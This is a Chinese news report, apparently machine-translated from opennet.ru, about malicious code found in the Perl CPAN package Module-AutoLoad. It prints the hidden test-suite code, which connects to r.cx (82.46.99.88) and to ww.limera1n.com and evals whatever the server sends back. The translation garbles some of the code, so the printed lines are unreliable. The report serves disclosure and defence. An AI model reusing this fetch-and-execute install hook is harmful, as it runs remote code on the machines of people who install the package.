Module-AutoLoad Perl 包中检测到恶意代码

在通过 CPAN 目录分发的 Perl 包中 模块自动加载,旨在动态自动加载 CPAN 模块, 确定 恶意代码。 恶意插入是 成立 在测试代​​码中 05_rcx.t,自 2011 年起开始发货。
值得注意的是,关于加载有问题代码的问题出现在 计算器 早在2016年。

恶意活动归结为在安装模块时启动的测试套件执行期间尝试从第三方服务器 (http://r.cx:1/) 下载并执行代码。 假设最初从外部服务器下载的代码不是恶意的,但现在请求被重定向到 ww.limera1n.com 域,该域提供其部分代码供执行。

将下载组织到文件中 05_rcx.t 使用以下代码:

我的 $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
我的 $try = `$^X $prog`;

指定的代码导致脚本被执行 ../contrib/RCX.pl,其内容减少为以下行:

使用 lib do{eval<$b>&&botstrap("RCX")if$b=new IO::Socket::INET 82.46.99.88.":1"};

该脚本加载 使困惑 使用该服务 perlobfuscator.com 来自外部主机 r.cx 的代码(字符代码 82.46.99.88 对应于文本“R.cX”)并在 eval 块中执行它。

$ perl -MIO::Socket -e'$b=新 IO::Socket::INET 82.46.99.88.":1"; 打印 <$b>;'
eval 解包 u=>q{_<')I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}

解压后,最终执行如下: :

print{$b=new IO::Socket::INET"ww.limera1n.com:80″}"GET /iJailBreak
";评估返回警告$@while$b;1

有问题的包现已从存储库中删除。 暂停 (Perl 作者上传服务器),并且模块作者的帐户被阻止。 在这种情况下,模块仍然保留 是可用的 位于 MetaCPAN 存档中,可以使用某些实用程序(例如 cpanminus)直接从 MetaCPAN 安装。 注意该软件包并未广泛分发。

讨论起来很有趣 连接的 该模块的作者否认了他的网站“r.cx”被黑客入侵后被插入恶意代码的信息,并解释说他只是玩玩,使用perlobfuscator.com不是为了隐藏某些东西,而是为了减小大小代码并通过剪贴板简化其复制。 选择函数名称“botstrap”是因为这个词“听起来像 bot,而且比 bootstrap 短”。 该模块的作者还保证,所识别的操作不会执行恶意操作,而只是演示通过 TCP 加载和执行代码。

来源: opennet.ru

添加评论